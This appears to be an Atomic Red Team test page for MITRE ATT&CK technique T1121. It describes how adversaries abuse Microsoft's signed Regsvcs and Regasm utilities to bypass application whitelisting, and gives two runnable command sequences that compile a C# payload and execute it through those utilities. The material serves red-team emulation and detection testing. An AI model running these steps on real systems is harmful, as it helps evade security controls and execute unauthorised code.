# T1121 - Regsvcs/Regasm
## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1121)
<blockquote>Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Regasm Uninstall Method Call Test](#atomic-test-1---regasm-uninstall-method-call-test)

- [Atomic Test #2 - Regsvs Uninstall Method Call Test](#atomic-test-2---regsvs-uninstall-method-call-test)


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## Atomic Test #1 - Regasm Uninstall Method Call Test
Executes the Uninstall Method, No Admin Rights Required

**Supported Platforms:** Windows


#### Inputs
| Name | Description | Type | Default Value | 
|------|-------------|------|---------------|
| file_name | Location of the payload | Path | T1121.dll|
| source_file | Location of the CSharp source_file | Path | C:\AtomicRedTeam\atomics\T1121\src\T1121.cs|

#### Run it with `command_prompt`! 
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
del #{file_name}
```



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## Atomic Test #2 - Regsvs Uninstall Method Call Test
Executes the Uninstall Method, No Admin Rights Required, Requires SNK

**Supported Platforms:** Windows


#### Inputs
| Name | Description | Type | Default Value | 
|------|-------------|------|---------------|
| file_name | Location of the payload | Path | T1121.dll|
| source_file | Location of the CSharp source_file | Path | C:\AtomicRedTeam\atomics\T1121\src\T1121.cs|

#### Run it with `powershell`! 
```
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name}
del #{file_name}
del key.snk
```



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